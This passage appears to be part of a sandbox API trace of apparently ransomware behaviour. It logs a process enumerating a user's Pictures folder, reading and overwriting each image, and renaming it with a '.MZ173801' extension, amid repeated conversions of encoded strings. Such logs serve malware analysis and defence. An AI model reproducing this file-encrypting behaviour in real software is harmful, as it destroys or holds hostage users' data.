lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.821] GetCurrentThreadId () returned 0x9fc [0122.821] GetCurrentThreadId () returned 0x9fc [0122.821] GetCurrentThreadId () returned 0x9fc [0122.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x71566c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.822] GetCurrentThreadId () returned 0x9fc [0122.822] GetCurrentThreadId () returned 0x9fc [0122.822] GetCurrentThreadId () returned 0x9fc [0122.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\IkmZeMY2n.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\ikmzemy2n.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.822] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.822] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.822] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x1e4d [0122.823] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.823] ReadFile (in: hFile=0x280, lpBuffer=0x71c870, nNumberOfBytesToRead=0x1e4d, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f6c4*=0x1e4d, lpOverlapped=0x0) returned 1 [0122.824] CloseHandle (hObject=0x280) returned 1 [0122.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\IkmZeMY2n.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\ikmzemy2n.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.825] WriteFile (in: hFile=0x280, lpBuffer=0x71e8a0*, nNumberOfBytesToWrite=0x1e4d, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x71e8a0*, lpNumberOfBytesWritten=0x18f6d0*=0x1e4d, lpOverlapped=0x0) returned 1 [0122.826] CloseHandle (hObject=0x280) returned 1 [0122.828] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\IkmZeMY2n.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\ikmzemy2n.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\IkmZeMY2n.jpg.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\ikmzemy2n.jpg.mz173801")) returned 1 [0122.829] GetCurrentThreadId () returned 0x9fc [0122.829] GetCurrentThreadId () returned 0x9fc [0122.829] GetCurrentThreadId () returned 0x9fc [0122.829] GetCurrentThreadId () returned 0x9fc [0122.829] GetCurrentThreadId () returned 0x9fc [0122.829] GetCurrentThreadId () returned 0x9fc [0122.829] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6b4850, ftCreationTime.dwHighDateTime=0x1d5e75e, ftLastAccessTime.dwLowDateTime=0xed379950, ftLastAccessTime.dwHighDateTime=0x1d5e2f0, ftLastWriteTime.dwLowDateTime=0xed379950, ftLastWriteTime.dwHighDateTime=0x1d5e2f0, nFileSizeHigh=0x0, nFileSizeLow=0xc3df, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="MWrUzIRQCTgTLWF8I.gif", cAlternateFileName="MWRUZI~1.GIF")) returned 1 [0122.829] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.829] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.829] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\MWrUzIRQCTgTLWF8I.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\mwruzirqctgtlwf8i.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6b4850, ftCreationTime.dwHighDateTime=0x1d5e75e, ftLastAccessTime.dwLowDateTime=0xed379950, ftLastAccessTime.dwHighDateTime=0x1d5e2f0, ftLastWriteTime.dwLowDateTime=0xed379950, ftLastWriteTime.dwHighDateTime=0x1d5e2f0, nFileSizeHigh=0x0, nFileSizeLow=0xc3df)) returned 1 [0122.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.832] GetCurrentThreadId () returned 0x9fc [0122.832] GetCurrentThreadId () returned 0x9fc [0122.832] GetCurrentThreadId () returned 0x9fc [0122.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.833] GetCurrentThreadId () returned 0x9fc [0122.833] GetCurrentThreadId () returned 0x9fc [0122.833] GetCurrentThreadId () returned 0x9fc [0122.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\MWrUzIRQCTgTLWF8I.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\mwruzirqctgtlwf8i.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.833] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.833] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.833] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xc3df [0122.833] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.834] ReadFile (in: hFile=0x280, lpBuffer=0x714510, nNumberOfBytesToRead=0xc3df, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xc3df, lpOverlapped=0x0) returned 1 [0122.835] CloseHandle (hObject=0x280) returned 1 [0122.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\MWrUzIRQCTgTLWF8I.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\mwruzirqctgtlwf8i.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.837] WriteFile (in: hFile=0x280, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xc3df, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f6d0*=0xc3df, lpOverlapped=0x0) returned 1 [0122.839] CloseHandle (hObject=0x280) returned 1 [0122.846] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\MWrUzIRQCTgTLWF8I.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\mwruzirqctgtlwf8i.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\MWrUzIRQCTgTLWF8I.gif.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\mwruzirqctgtlwf8i.gif.mz173801")) returned 1 [0122.847] GetCurrentThreadId () returned 0x9fc [0122.847] GetCurrentThreadId () returned 0x9fc [0122.847] GetCurrentThreadId () returned 0x9fc [0122.847] GetCurrentThreadId () returned 0x9fc [0122.847] GetCurrentThreadId () returned 0x9fc [0122.847] GetCurrentThreadId () returned 0x9fc [0122.847] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5014310, ftCreationTime.dwHighDateTime=0x1d5dd15, ftLastAccessTime.dwLowDateTime=0x8e3153c0, ftLastAccessTime.dwHighDateTime=0x1d5d9d0, ftLastWriteTime.dwLowDateTime=0x8e3153c0, ftLastWriteTime.dwHighDateTime=0x1d5d9d0, nFileSizeHigh=0x0, nFileSizeLow=0x2222, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="Px1_mRLS.bmp", cAlternateFileName="")) returned 1 [0122.847] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.847] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.847] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 